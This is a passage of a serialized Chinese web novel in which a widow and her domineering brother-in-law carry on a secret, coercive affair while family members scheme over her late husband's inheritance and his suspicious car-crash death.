“爷爷言重了,有小叔子护着,亦姝不委屈。”苏亦姝垂眸,一副乖顺模样。心里却浮现出陆慎那晚的疯狂。
陆慎站在一旁,看着她那副瞬间收敛锋芒的伪装,眼底闪过一丝玩味。
就在众人准备散去时,陆慎经过苏亦姝身边,脚步未停,声音极低,只有两人能听见。“苏亦姝,借我的势打程丽梅的脸,爽吗?”
苏亦姝面不改色,轻声回击。“陆总刚才那句‘陆家规矩’,不也演得挺过瘾?”
陆慎低笑一声,大步离开。
然而,程丽梅却在两人擦肩而过的那一瞬间,捕捉到了苏亦姝眼底那一闪而过对陆慎的……依赖。
虽然极淡,虽然转瞬即逝,但同为女人的直觉告诉她,这两人之间,绝对不清白!
程丽梅缓缓抬起头,那张原本保养得宜的脸此刻扭曲得如恶鬼。
第二十一章 江边掠夺,可耻的沉沦
离开老宅后,悍马车并未直接驶向苏亦姝的公寓,而是停在了江边一段无人的景观路上。
深夜的江风裹挟着潮气,拍打在黑色悍马厚重的车窗上。
车内,火星明灭。
陆慎指间夹着烟,缭绕的青烟模糊了他的轮廓,唯独那双深不见底的眸子,在黑暗中死死攫着苏亦姝的脸。
那种审视,像是一个耐心的猎人在评估猎物的价值,又像是在无声地清算着什么。
苏亦姝在这压抑的死寂中有些坐立难安。
老宅里的硝烟虽然散去,但此刻狭窄空间内的暗流,却更让她心惊肉跳。
“今晚的事……多谢陆总。”她先开了口,声音清冷中透着一丝不易察觉的紧绷,“若不是你拿出了监控,洪家和程丽梅恐怕没那么容易闭嘴。”
“嗤。”
陆慎发出一声短促而嘲讽的笑。
他猛地掐灭了烟,动作狠戾,随即侧过身,宽大的肩膀带着极强的压迫感欺身而上。
苏亦姝下意识后退,后背却抵在了冰冷的车窗上。
“苏亦姝,谢就不必了。”陆慎修长的手指挑起她的一缕鬓发,缠绕在指尖,嗓音低沉且危险,“在老宅里,你那一眼‘委屈巴巴’的依赖演得真好,连爷爷都被你骗过去了。可你瞒得了别人,瞒得了我吗?”
他凑近她,呼吸滚烫,言语却如冰刃。“你借我的势,打程丽梅的脸,把洪家当成你往上爬的垫脚石。苏亦姝,你这算盘打得真响。”
苏亦姝呼吸微滞,她对上他的眼。“陆总既然知道我在演,刚才配合得不也挺好?”
“我配合,是因为我喜欢看你这副狐假虎威的样子。”
陆慎的大手从她的鬓发下移,转而捏住了她的下巴,指腹不轻不重地摩挲着,带起一阵细碎的战栗。
“但苏亦姝,别忘了,我是个商人。商人投入了成本,就要看到翻倍的回报。你今晚让我演了这么一出大戏,利息,你想怎么付?”
苏亦姝心跳如鼓,她强迫自己冷静下来。她太清楚陆慎是什么样的人,这种时候求饶没用,唯一的办法是拿筹码跟他换。
“洪家不会罢休,程丽梅被禁足后只会更疯,这些我都清楚。”苏亦姝直视着他的眼,语气变得坚定,“但我现在最需要拿回陆钦名下的那份股权和遗产。爷爷让你调查陆钦的死因和苏可人肚子里孩子,主动权在你手里。陆慎,只要你帮我,你要什么,只要我有,都可以给。”
“哦?”陆慎笑得顽劣,手指顺着她的下巴划过她细长的脖颈,最后停在那领口微微凌乱的锁骨处。“大嫂这副志在必得的样子,倒是迷人。陆钦那点**遗产,你盯了这么久,甚至不惜把自己搭进来?”
“那是我应得的。”苏亦姝咬牙。一开始,她确实不在意。可是,陆钦新婚夜带着苏可人私奔,这一巴掌打的她好疼!
陆钦跟谁厮混,跟谁私奔都行,唯独苏可人不行!
后面,在陆钦的葬礼上,程丽梅带着苏可人当众拿遗嘱逼她,那嚣张的姿态,她至今难忘!
有些事情可以不计较,但是有些事情,必须计较!
“好一个应得的。”陆慎眼神骤暗,猛地低头咬在她的耳垂上,嗓音磁性得让人腿软,“那就要看……大嫂今晚的表现,能不能让我满意了。”
车内气温陡然攀升。
陆慎的索取像是一场蓄谋已久的暴雨,将苏亦姝所有的理智瞬间打乱。
他的动作并不温柔,带着一种带着蛮横的占有欲,仿佛要在她每一寸皮肤上都烙下属于他的印记。
“唔……”苏亦姝逸出一声闷哼。
狭窄的后座成了最逼仄的牢笼,男人的西装外套被随手扔在一旁。陆慎单手扣住她的双腕,另一只手极其不安分地游走。
“说话,刚才在老宅,你说‘有小叔子护着,不委屈’的时候,心里在想谁?”他逼视着她,眼神里藏着一股想要将她生吞活剥的疯劲,“是在想你那个死鬼老公,还是在想……此时此刻正在你身上的男人?”
苏亦姝被迫仰起头,长发散乱在真皮座椅上,眼眶泛起一抹惊心动魄的红。
她原本该反抗的,该觉得耻辱的。
可是,脑海里不自觉闪过刚才在大厅,这个男人挡在她身前,面对洪家的叫嚣和程丽梅的恶意,那样狂妄且不讲理地护着她。
那一刻的安全感,真实得让她心颤。
哪怕明知这是饮鸩止渴,哪怕明知他是**,苏亦姝发现自己竟然在一点点卸下防备。
她的手缓缓松开,不再抗拒他的力道,甚至在陆慎那极具侵略性的吻落下时,她下意识地搂住了他的脖子。
察觉到她的回应,陆慎的动作猛地一僵,随即是更疯狂的掠夺。
“苏亦姝,你真贱……”他在她唇齿间低喃,语气狠厉,动作却在这一刻带上了一丝他自己都没察觉的轻柔。
苏亦姝闭上眼,泪水顺着眼角滑入发鬓。
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她在心里唾弃自己。苏亦姝,你疯了。你竟然对这个疯子产生了依赖。
这种清醒地看着自己堕入深渊的感觉,比被撕碎还要让人绝望,却又有着一种濒死般的极致快感。
车身轻微地摇晃着,在这江边荒野的黑夜里,像是一艘随波逐流的孤舟。
不知过了多久,风停雨歇。
陆慎退回原位,慢条斯理地整理着自己的衬衫袖扣,又恢复了那副斯文败类的矜贵模样。
而苏亦姝裹着他的大衣,长发披散,脸色潮红还未褪去,像是一朵被暴雨摧残过后的红玫瑰。
“明天我会让周轩把陆钦的一部分账目明细发给你。”陆慎发动车子,侧脸冷峻如雕塑,“但这只是定金。想要拿回全部遗产,苏亦姝,你得拿出更多诚意。”
苏亦姝理了理头发,声音依旧沙哑。
“我知道了。”
悍马车一路疾驰,停在了苏亦姝的公寓楼下。
陆慎没有下车,只是摇下车窗,看着苏亦姝略显凌乱的背影走进电梯。
他点燃了一支烟,深吸一口,眼底那抹疯狂才渐渐被理智压了下去。
“陆总,洪家那边……”周轩低电话打来。
“派人盯着,洪齐宝那个老狐狸不会善罢甘休。还有程丽梅,”陆慎吐出一口烟圈,“她在佛堂不安分,查查她最近跟谁联系过。”
“是。”
苏亦姝回到家,疲惫地把自己摔进沙发。
她抬起手,看着掌心那道已经几乎看不见的红痕。
陆慎给的药膏效果奇好,好到连痕迹都快没了,可她心里那道关于他的印记,却越来越深。
就在这时,放在茶几上的手机屏幕突兀地亮起,急促的振动声在寂静的客厅里显得格外刺耳。
苏亦姝本以为是陆慎,可当她看清屏幕上的发件人时,愣了一下。
信息是陆域发来的。
【嫂子,这么晚才回公寓,陆慎那辆车坐得还舒服吗?】
苏亦姝的心脏猛地漏跳一拍,他怎么知道自己在陆慎车里?紧接着,第二条信息紧随其后跳了出来。
【别急着拉黑,我这儿有点东西,你应该会感兴趣。明天下午三点,来医院见一面。】
苏亦姝握着手机的手僵住。陆域明明被废了腿躺在医院,为什么会知道得这么多?还是说,这是为了引她入局而设下的陷阱?
她下意识地想给陆慎打电话,可指尖停在拨号键上,却迟迟按不下去……
第二十二章 **诛心,他的偏执
隔天下午,江城的天空阴沉沉的。
苏亦姝在分公司处理完几份核心股权的划转文件,神色冷峻地驱车赶往医院。
她下车前,从副驾驶拎起那个外表精致、内里却沉甸甸的果篮,指尖不经意地滑过藏在银灰色西装内衬里的微型录音笔。
住院部顶层,寂静得落针可闻。
陆域显然已经动用特权清空了整层楼的闲杂人等。
苏亦姝推开病房门时,浓烈的苏打水味扑面而来,陆域正半靠在床头,那双曾经飞扬跋扈的眼如今深陷在阴影里,透着股阴鸷的腐朽气。
当他看到苏亦姝的一瞬间,眼底还是不可抑制地滑过一抹惊艳。
银灰色的职业装将她衬得利落而清冷,那股子从骨子里透出来的孤傲,像极了雪山顶上最难攀折的花。
“大嫂,好久不见。”陆域扯了扯嘴角,皮笑肉不笑。
苏亦姝面不改色,维持着豪门长媳那副滴水不漏的矜重,将果篮稳稳放在床头柜上。
“二弟的腿……恢复得如何了?”她语气里透着恰到好处的关心,却像是一根细针,精准地扎在陆域的痛脚上。
提到腿,陆域浑身的气息陡然暴戾。
这双腿,即便动用了全球最好的医疗团队,以后也只能勉强行走。
他敛下眼底如毒蛇般的恨意,自嘲道:“废了。得罪了不该得罪的人,自找的,不是吗?”
苏亦姝佯装听不懂,挑眉道:“二弟不必悲观,爷爷和二叔已经联系了国外的专家。你找我来,若是为了叙旧,恐怕我的时间有限,公司还有项目等着。”
“嗤,大嫂现在当真是女强人的姿态啊。”陆域猛地抬起头,眼神如钩,“可你和陆慎在床上缠绵的时候,有没有想过,我的腿是怎么断的?那是陆慎,亲手用钢棍一寸寸敲碎的!”
他咆哮着,额角青筋暴起。“就因为在万佛寺偏殿,我想睡了你。他陆慎,在用这种方式告诉我,你苏亦姝,是他养在陆家金丝笼里的私产!”
病房里的空气瞬间凝固。
苏亦姝心底掀起惊涛骇浪,面上却纹丝不动,甚至还带着三分荒谬的冷笑。
“二弟,你是不是糊涂了?”她挺直脊背,语调平稳如镜,“陆慎是我的小叔子,我是他大哥明媒正娶进门的妻子。你的腿是因为**输钱被债主所伤,这是全江城都知道的定论。至于你说的那些腌臜事,若是真的,你大可以去爷爷面前告发,而不是在这里对我这个孤苦的寡妇咆哮。”
苏亦姝走近半步,眼神冰冷彻骨。
“在万佛寺,我是为亡夫做法事,你是自愿随行。你想做什么,那是你的禽兽行径。我苏亦姝即便在陆家没根没基,也断不会让人往我身上泼这种脏水!”
陆域看着她这副义正言辞、圣洁不可侵犯的模样,突然癫狂地笑了起来。
“大嫂,我真是小瞧了你。陆慎疯,你也跟着他演戏。你以为他接近你是为了什么?情爱?”陆域撑着身子,像个地狱归来的恶鬼,“陆钦和陆慎是亲兄弟,更是死对头。要不是陆钦横死,大伯母会放他这条疯狗回国?陆慎接近你,是为了报复,报复陆家每一个曾经唾弃他的人!”
苏亦姝脚步微顿,并未回头。
陆域见她停下,立刻抛出重磅**。“陆钦的死,你真的以为是意外?苏可人怀上陆钦的孩子,你真的以为是巧合?苏亦姝,如果我告诉你,陆钦的刹车失灵是陆慎的手笔,苏可人爬上陆钦的床是陆慎的安排呢?”
苏亦姝猛地转身,目光一颤。“你什么意思?”
“意思就是,你不过是陆慎棋盘上一枚最听话的棋子。”陆域眼底闪过得逞的精光,“他毁了你身为陆少夫人的尊严,让你背德沉沦,就是为了让陆钦在九泉之下都不得安宁。大嫂,要不要跟我合作?我有他**的证据。”
空气中死一般的寂静。
苏亦姝突然嗤笑出声,那笑容里满是不屑与怜悯。
“二弟,你还是多操心自己的身体吧。既然已经废了一双腿,就该学会闭嘴。再闹出这些无中生有的疯话,我真怕下次废掉的,可能是你的舌头了。”
说完,她头也不回地推门而出,没有半分停留。
“嘭!”
病房内,陆域狂怒地砸碎了水杯,碎瓷片飞溅。
“苏亦姝,你算个什么玩意儿,不过就是个被陆慎随意**的**罢了。等到陆慎玩烂了,玩够了,我看你怎么在陆家的唾沫星子里活下去”
站在走廊里的苏亦姝听着门后的咒骂,面无表情地关闭了录音笔。
她走出住院部,阳光刺得她眼睛发酸。
她不信陆域的每一个字,可“陆慎”这两个字,此刻却像是一道无形的枷锁,压得她几乎喘不过气来。
就在她准备拉开车门时,一辆熟悉的黑色悍马悄无声息地停在了她的车后。
陆慎降下车窗,指尖夹着烟,隔着
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半降的玻璃,那双幽深的眸子正玩味地盯着她。
“大嫂,探病回来,脸色怎么这么差?”
苏亦姝握着车门的手紧了又松,她看向陆慎,突然开口。“陆慎,陆钦出事那天,你真的在国外吗?”
陆慎掐灭烟头的动作顿住,他推门下车,一步步逼近。
高大的身影投下浓重的阴影,将苏亦姝整个人严丝合缝地笼罩其中。
那股熟悉的冷冽烟草味混杂着独属于他的侵略感,瞬间侵占了她的呼吸。
“怎么,陆域那个废人跟你说了什么?”陆慎单手撑在苏亦姝的车门上,微微俯身,一张俊脸悬在距离她极近的地方。
他修长的手指勾起苏亦姝的一缕发丝,漫不经心地缠绕,眼神却像毒蛇一般幽冷。
“他说是我想方设法弄**大哥,还是说……苏可人是我送上大哥床的?”
苏亦姝呼吸急促了一瞬,她强撑着那副波澜不惊的面孔,直视着他的眼。
“他说,他在万佛寺偏殿想冒犯我,所以你用钢棍亲手敲碎了他的腿。他还说,你接近我,只是为了报复陆家,报复陆钦。”
“陆慎,他说的是真的吗?”
陆慎听完,竟然低低地笑了起来。那笑声沉闷且磁性,听在耳里却让人无端发冷。
“他说对了一半。”
陆慎猛地收紧指尖的力道,逼得苏亦姝不得不仰起头迎合他,“敲碎他的腿,的确是因为他动了不该有的心思。至于报复……”
他顿了顿,薄唇贴在苏亦姝的耳廓,声音低哑如恶魔的低喃:“苏亦姝,你未免太看得起陆钦了。我想让他死,有一万种方法让他无声无息地消失,没必要搭上你的婚姻。我接近你,仅仅是因为……我想看你在我身下哭着求饶的样子,想看你这副清高的骨头,被我一寸寸揉碎。”
苏亦姝心头一颤。这个男人,疯得坦荡,狠得直接。
“陆域说他有你‘**’的证据。”苏亦姝冷笑一声,试图推开他,“你就不怕他真的捅到爷爷那里去?”
“证据?”陆慎像听到了什么笑话,一把攥住苏亦姝冰冷的手心,拉向自己的胸口,让她感受那强有力的心跳,“在这江城,陆慎两个字就是证据。他若真有,就不会等到现在还没命。大嫂,与其担心我的安危,不如担心一下你自己。”
苏亦姝一顿。刚要询问,便听到一道愤怒呵斥地声音。
“你们在干什么?!”
第二十三章 撕开伪善,谁比谁卑劣
医院住院部楼下,程丽梅站在不远处,身侧的保镖如同两尊石像,却压不住她周身爆发出的戾气。
她来医院本是因为心悸不适,却没成想,撞见了让她心惊肉跳的一幕。
光天化日,众目睽睽,她引以为傲的儿子,正跟她那个守寡的儿媳纠缠不清!
苏亦姝在看到程丽梅那双猩红如血的眼睛时,浑身冷汗瞬间渗出,她一把猛地推开了陆慎,力道大得惊人,神色惊惶。
心中一阵自嘲:果然,常在河边走,哪有不湿鞋的。这层遮羞布,到底还是被撕开了。
倒是陆慎,神色如常。
在被苏亦姝猛地推开后,他顺势淡定地站直身体,慢条斯理地整理了一下略显凌乱的袖扣。
他掀起眼帘看向程丽梅,可眼角的余光,却始终黏在苏亦姝那张苍白的脸上。
“陆慎!你给我说清楚,你们刚才在干嘛!”程丽梅嗓音尖锐,若不是碍于陆家主母的身份和这大庭广众的场合,她怕是能当场嘶吼出声。
陆慎双手插兜,那副斯文败类的清冷劲儿又上来了,面无表情道:“你不是都看到了吗?”
“她是你嫂子!”程丽梅嘴唇颤抖得厉害。陆慎是她现在唯一的儿子,是她在陆家最后的依靠。
她可以忍受陆慎在外疯玩,但绝对不能忍受他碰陆钦留下的女人,“你们……你们这是要毁了陆家!”
“您还是淡定点吧,”陆慎唇角勾起一抹讥讽,“虽然这里是医院,但您要是真气晕过去了,还得麻烦人家医护人员费力抢救,传出去更不好听。”
苏亦姝横了陆慎一眼,示意他闭嘴。
这种时候,她觉得自己说什么都是错,在这里多留一秒都是凌迟。
程丽梅看着苏亦姝那张清冷的脸,只觉得这是一张勾魂索命的祸水皮。
她深吸一口气,咬牙切齿地吐出几个字:“你们两个,跟我回去!”
老宅大房宅院,灵堂肃穆。
供桌上,陆钦的黑白照片在这厅堂里透着股冷意。
香炉里的残烟缭绕,却化不开程丽梅脸上的铁青。
“跪下!”程丽梅猛地转身,指着陆钦的牌位厉声呵斥。
苏亦姝刚要屈膝,手腕却被一只大掌猛地攥住。
陆慎稍微用力,便将她整个人带到了自己身后,那姿态,护得滴水不漏。
“你真是……被鬼迷了心窍!”程丽梅气得指着陆慎咆哮,“陆慎,你大哥才死多久?你别忘了,你现在是陆家的当家人,全江城的眼睛都盯着你。要是让你爷爷知道你们做出这种苟且之事,你这位置还坐得稳吗?苏亦姝,你还想在陆家有立足之地?”
“嗤。”陆慎冷嗤一声,松开苏亦姝的手,转而闲适地插回兜里。他掀起眼帘,眼底那股子浑不吝的疯劲儿压根不藏,“你觉得,我在意这个位置?还是你觉得,陆家这块遮羞布,对我来说值几个钱?”。
若不是为了一些事,他这辈子都不会踏进这令人作呕的深宅大院。
“你!”程丽梅捂着胸口,“你们真是要气死我!”
“您要是这么容易被气死,当初陆子民在外面乱搞的时候,您就该死过好几回了。”陆慎说话像把软刀子,专挑痛处扎。
程丽梅在陆慎这里讨不到好处,转头便将满腔恶毒喷向苏亦姝。
“苏亦姝,你怎么这么不要脸?勾引亲小叔子,陆家的脸面都让你丢尽了!哼,还妄想阿钦的遗产?你这种烂货,做梦!”
苏亦姝原本一直紧绷的身体,在听到“遗产”两个字时,突然松了下来。
那双清冷的眸子寸寸结冰,她看向程丽梅,突然轻笑出声。
她本想在这陆家演个顺从的寡妇,拿回属于自己的东西就走。
可这母子三人,一个比一个疯,一个比一个更能踩她的底线。
“我不要脸?”苏亦姝慢条斯理地站直身体,那笑容不达眼底,反而透着股决绝的狠劲,“婆婆,论起不要脸,我哪能跟您比啊?在自己亲儿子的葬礼上,带着小三来羞辱儿媳妇,那小三还是儿媳妇同父异母的妹妹。这种自掘坟墓的事,除了您,全江城怕是找不出第二个。”
程丽梅脸色瞬间煞白。“你胡说八道什么!”<
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br>“我是不是胡说,您心里最清楚。”苏亦姝上前一步,气场全开,竟逼得程丽梅**了半步。
“苏可人是怎么爬上陆钦床的?要不是您在中间牵线搭桥,要不是您默许苏可人勾引陆钦,她苏可人有那个胆子?她一个私生女,能进得了陆钦的眼?”
苏亦姝逼近一步,语气愈发冷冽。既然不想我好过,那大家一起不好过!
“您为了保住自己在陆家的地位,连亲儿子的婚姻都能拿来当筹码,都能做出这么膈应人的事来,我不过是顺着您的路走,您怎么就受不了了?”
“你……你……”
程丽梅瞳孔地震,仿佛第一次认识这个一直以来“温顺”的儿媳。
她原以为苏亦姝只是个被蒙在鼓里的可怜虫,却没想到,这女人早就把那些腌臜事看穿了。
厅堂内死寂一片,只剩下程丽梅粗重的呼吸声。
陆慎站在一旁,看着苏亦姝撕开那层伪善的皮,眼底不仅没有惊讶,反而闪烁着病态的赞赏。
这才是他看上的女人,够冷,够狠,够清醒。
“够了!”程丽梅尖叫一声,“苏亦姝,你以为你知道这些就能威胁我?只要我不点头,阿钦的遗产你一分钱都拿不到!我会让你净身出户,背着一身骚名滚出江城!”
“她拿不到,我给。”陆慎突然开口,声音不大,却掷地有声。
他走到苏亦姝身边,大手强势地揽住她的细腰,当着陆钦牌位的面,将她往怀里按了按。
苏亦姝身体一僵,想要挣脱开,却被陆慎摁的死死的。
“妈,陆钦的死因,我正好查到了一些。”陆慎微微眯眼,语调变得阴森,“您说,如果我把查到的那些给爷爷看,结果会如何?”
程丽梅脸色如纸,一句话也说不出来。
陆慎低头看向苏亦姝,目光灼灼。
他就是要告诉所有人,苏亦姝是他的人,除了他自己谁也不能欺辱。
他要把苏亦姝一辈子困在身边,慢慢地折磨她……让她只能依赖他……
“陆慎,我是你亲妈!”程丽梅咆哮着。
第二十四章 各怀鬼胎
厅堂内的空气仿佛凝固成冰,陆慎揽在苏亦姝腰间的手滚烫有力,没有接理会程丽梅的咆哮。
程丽梅瘫坐在椅子上,目光在陆慎冷冽的侧脸和苏亦姝的眉眼间来回逡巡。
她恨,恨苏亦姝撕开了她最不堪的隐秘,更恨自己唯一的亲生儿子竟然倒戈相向,为了一个女人站在自己的对立面。
可她更怕。
怕陆慎口中那些关于陆钦死因的“真相”被捅到老爷子面前。
老爷子最重家声,更看重子嗣传承,若是让他知道大房内部这些腌臜勾当,她程丽梅这辈子就算彻底完了。
“好……好得很。”程丽梅咬碎了银牙,颤抖着手扶住桌角站起来,每一个字都像是从齿缝里挤出来的,“陆慎,你为了这么个女人,连亲妈都要威胁。既然你铁了心要护着这个祸水,那我就成全你们!”
苏亦姝冷冷地看着她,并未因为这暂时的“成全”而松一口气。
她太了解程丽梅,这个女人能在陆家主母的位置上坐这么多年,靠的可不是慈悲。
“婆婆,我要的不是您的成全。”苏亦姝推开陆慎的手,直视着程丽梅,“陆钦名下的房产、信托以及他在陆氏那百分之五的原始股权,那是我的。只要这些东西到手,我自然会守好陆家的规矩,绝不给大房惹麻烦。”
“你做梦!”一提到钱,程丽梅瞬间变脸,眼神阴毒,“那是阿钦留给他孩子的!苏可人肚子里揣着的是阿钦的血脉,你一个在我两个儿子之间来回穿梭,不守妇道的女人还敢肖想阿钦的遗产?”
“血脉?”陆慎冷笑一声,指尖在供桌上节奏地敲击,“妈,那个孩子能不能平安生下来,能不能姓陆,全在我一念之间。”
“你……”程丽梅气得心口一阵绞痛。
她看着陆慎那副鬼迷心窍的样子,突然意识到,硬碰硬只会让自己满盘皆输。
她深吸一口气,强迫自己冷静下来。
苏可人肚子里的孩子是她最后的筹码,只要孩子出生,陆慎这个继承人的位置她就能想办法换掉。
但在那之前,她必须稳住陆慎,绝不能让他把事情闹大。
“既然你们要大家都不好过,那不如各退一步。”
程丽梅闭上眼,掩盖住底翻涌的杀意,“股权我可以暂时不动,但阿钦名下的海外信托,必须留给我未来的孙子。至于苏亦姝你,在老宅,绝对不能跟陆慎接触,而且,在可人的孩子出生之前,不许传出任何风言风语。否则,我就是拼了这条命,也会拉着你一起死!”
陆慎眯起眼,刚要发作,苏亦姝却暗中按住了他的手背。
“好。”苏亦姝声音清冷。她知道,这只是暂时的休战协定。
程丽梅冷哼一声,拂袖而去。
在跨出灵堂大门的一瞬间,她眼角的慈悲彻底散去,取而代之的是一种癫狂的阴鸷。
她要去佛堂,她要“吃斋念佛”。
只有在那座寂静的佛堂里,她才能毫无顾忌地动用她所能动用的一切。
苏亦姝,陆慎,你们以为赢了吗?在陆家,能笑到最后的人,从来不是最疯的,而是最有耐心的。
程丽梅搬进了老宅最偏僻的“静心阁”佛堂。
每日晨钟暮鼓,经声不断。只是偶尔出去看看苏可人和她肚子里的孩子。
外人看来,陆家大夫人是因为长子过世、又被夺去掌家之权的打击,从此看破红尘,为陆家祈福。
陆老爷子亲自去看过几次,见她真的在吃斋抄经,神色也缓和了不少,还叮嘱苏亦姝要尽到儿媳的本分。
然而,在苏亦姝看来,这平静的表面下,每一粒佛珠的转动都透着阴谋的味道。
苏亦姝正式接手了陆钦在擎天的股份,在擎天落了个挂名的职位。
因为她现在在苏氏分公司忙的很,擎天那边,她只要股份就好。贪多咽不下,这个道理她也是懂得。
这天深夜,苏亦姝忙完回到公寓,进门便看到客厅里没开灯,烟草的味道在黑暗中弥漫。
陆慎靠在落地窗前,指尖火星明灭。
“准备一直这样下去?”他没回头,声音低沉且沙哑,带着一种
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不容置疑的霸道。
苏亦姝脱掉高跟鞋,疲惫地揉着太阳穴。
她明白陆慎的意思,但是目前,这样的状态是最好的,不是吗?
“目前,别无他法……”
“嗤……苏亦姝,你听听你在说什么!”陆慎猛地转身,几步跨到她面前,长臂一伸将她困在玄关与他怀抱之间。
“苏亦姝,你以为程丽梅在佛堂里真的在念经?程家最近正在大肆变卖海外不动产,套现的资金流向不明。她在积蓄力量想要一次性弄死你,可能,还有我。怕吗?”
苏亦姝抬眸,对上他那双充满占有欲的眸子。
“怕?怕就能躲避得了?陆慎,你最好离我远点……”
陆慎突然伸手捏住她的下巴,目光如炬,“你还是不信我。”
“信与不信,重要吗?”苏亦姝拍开他的手,“陆慎,我们现在的关系是互利互惠。你帮我拿回遗产,我帮你稳住大房的局势。除此之外,别再谈什么情分,那东西在陆家,早烂透了。”
陆慎看着她冷漠疏离的样子,气极反笑。
他猛地低头,在她的颈侧重重咬了一口,直到留下一个紫红的印记才松开。
“烂透了也好,反正我从来也没想当什么好人。”
他贴着她的耳廓,嗓音磁性且危险,“苏亦姝,只要你还没拿到遗产,你就得乖乖听我的。明天上午,陪我去个地方。”
“去哪儿?”
“去了就知道了……”陆慎朝着门口走去。
他是用了多大的意志力,才克制自己没有去抱着她。
听到关门声,以及外面电梯传来的开合声。
苏亦姝整个人靠着门板,缓缓滑落下去,坐在地上。
她怎么会不知道,目前的平静,只是表象。暗地里,估计早就汹涌澎湃了。
但是,她苏亦姝,又怎么可能是坐以待毙的人呢?
这时,她手机响了。
看到号码,她立即接了起来。
“喂……”
“苏可人偷偷从医院溜出去了……”
“马上跟上!”
第二十五章 车内惩罚,你不乖
苏亦姝换了一身利落的黑色风衣,发丝随手扎起,这才下楼开车离开。
她一直派人盯着苏可人,对于苏可人,她不得不防。
公寓楼下,黑色悍马静静停在不显眼的地方。
陆慎指间夹着烟,目光始终锁在苏亦姝公寓窗户上。
在苏亦姝那辆银灰色的轿车疾驰而出,他一眼就认出了,缓缓吐出一口烟圈,嗓音低沉。“跟上去。”
周轩心领神会,平稳地发动引擎。
苏亦姝一心扑在苏可人的动向上,加上心事重重,竟完全忽略了身后那台始终保持着安全距离的悍马。
此时的医院住院部,早已乱成了一锅粥。
苏可人借着去花园散心的名义,避开了程丽梅安排的保镖,惊慌失措地逃出了医院。
她怀胎三月有余,原本以为这肚子是她通往荣华富贵的唯一门票。
可就在昨天上午,她无意间偷听到医生给程丽梅打的私密电话——
“是个女孩。”
这四个字,像是一道惊雷,直接劈碎了苏可人的豪门梦。
陆老爷子之前就发过话,孩子生下来养再苏亦姝名下。
若是男孩,程丽梅为了大房的香火定会死保她,甚至母凭子贵让她进门也不是没可能。
可如果是女孩……她太清楚程丽梅现在的想法,到时候,她只会万劫不复。
电话那头,程丽梅那声冰冷的“既然没用,那就放弃吧”,彻底成了苏可人的噩梦。
“不可以……我忍了这么久,不能就这么完了!”苏可人紧紧护着小腹,拦下一辆出租车,眼神中透着一股破釜沉舟的疯狂。
既然程丽梅要弃了她,那她就得找另一个能跟陆慎、跟苏亦姝抗衡的靠山。
苏亦姝一路追踪,最后车子停在了一处老牌别墅小区门口。
她皱起眉,看着苏可人消失的方向。
不远处的悍马车内,陆慎看着苏亦姝的车尾灯,顶了顶上颚,眼底闪过一丝浓重的不悦。
“这女人,天大的事也学不会找我,非要自己硬闯。”他冷嗤一声,修长的手指在车门上不轻不重地敲着,“去查查,谁住这儿。”
“陆总,”周轩反应极快,“二夫人的亲弟弟柯峰就住这。而且,据我们的人报,陆域今天下午也秘密转院到了这里静养。”
陆慎的目光瞬间冷厉如刀。
陆域,看来还是没学会怎么夹着尾巴做人。
“去,把她请过来。”陆慎对着周轩吩咐,目光一刻也没离开过苏亦姝的车子。
周轩领命下车,走到苏亦姝车旁轻轻敲了敲窗。
苏亦姝正准备下车跟进去,猛然一惊,看清是周轩后,眉头皱得更深。
她降下车窗,还没开口,周轩便恭敬道:“苏小姐,陆总在后面等您,请您过去一趟。”
苏亦姝看向后视镜,那辆悍马在夜色中透着令人胆寒的压迫感。
她咬了咬唇,终究还是推门下车。
周轩看到苏亦姝过去,暗松了一口气。跟过去,站在车外不远处守着。
“陆总真是好兴致,大半夜玩跟踪?”苏亦姝拉开后排车门坐进去,冷嘲热讽道。
陆慎并没理会她的挑衅,而是直接伸手,虎口掐住她的下巴,逼她对视。
“苏亦姝,你是真蠢还是假聪明?”陆慎倾身过去,呼吸里带着淡淡的烟草味,“你是不是准备就这么单枪匹马的冲进去,是嫌命长,还是我让你有恃无恐了?”
苏亦姝拍开他的手,偏开头冷声道:“我只是准备进去看看……”正大光明的冲进去,她还没那么蠢!
“我说过,只要你表现让我满意了,陆钦的遗产我会给你,你没必要以身犯险!”陆慎打断她,眼神幽暗,他不敢想,这个蠢女人要是真一个人冲进去,结果会是怎样!
这是他不敢想的,没有任何犹豫,他精准的嗪住了苏亦姝的嘴。
吻得狠戾而急切,与其说是接吻,不如说是惩戒。
苏亦姝试图挣扎,可陆慎的手臂宛如铁铸,将她死死禁锢在方寸之间。
“唔……”苏
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亦姝溢出一声闷哼,唇齿间泛起淡淡的咸腥。
与此同时,柯家别墅二楼。
陆域坐在轮椅上,双腿打着厚厚的石膏,神色阴鸷。
苏可人坐在沙发上,通红的双眼中带着难掩的紧张,还有几分孤注一掷的疯狂。
“二少……只要你保住我,我就告诉你一个秘密!”苏可人强撑着,紧紧护着小腹,那是她最后的筹码。“一个,能让你扳倒程丽梅的秘密。”
陆域的眼睛猛地亮起。但是很快,便敛下神色。
陆域冷嗤一声,笑得残忍。“扳倒程丽梅?她不过是个自以为是的疯婆子。我现在要的,是陆慎那条狗命!”
苏可人面色一僵,着急地说道:“可以!只要你跟程丽梅合作,一定可以!她现在利用陆慎,不过是因为陆钦**,她手里没牌了。只要你答应帮她,扶持我肚子里的孩子上位,她一定会反水对付陆慎!”
陆域皱起眉,这个信息倒是让他有些意外。
“亲妈恨亲儿子?呵,有趣。不过,你凭什么觉得那个老太婆会选我?”
“因为……因为她知道陆慎跟苏亦姝的丑事!”苏可人面露狰狞,压低声音,语气恶毒,“他们两个早就搞在一起了!程丽梅怕家丑外扬,更怕陆慎为了苏亦姝把大房彻底毁了。她现在表面吃斋念佛,其实是在物色能替她除掉苏亦姝、架空陆慎的刀。二少,您就是那把最快的刀!”
苏可人担心陆域不松口,继续说道:“我可以肯定,程丽梅非常厌恶,甚至是憎恨陆慎。但是,碍于目前的情况,她不得不依靠陆慎。只要,只要有第二选择,程丽梅都不会选择陆慎的。这也是她为什么这么在意我肚子里的孩子……她就想利用我肚子里的孩子,扳倒陆慎,夺他继承人的位置。”
苏可人咬了咬牙,抛出最后的**锏。“而且,我跟陆钦私奔的那天晚上,是因为车子被人动了手脚才导致车祸的……”
“你说什么?!”陆域猛地直起身子,眼中满是狂喜。
第二十六章 恶鬼间的交易
陆域猛地前倾身体,石膏摩擦着轮椅发出刺耳的声响,他死死盯着苏可人,呼吸变得急促。
“你是说,陆钦的死不是意外,而是人为?你有证据?”
苏可人被陆域这副癫狂的样子吓得缩了缩脖子,但她知道自己已经没有退路了。
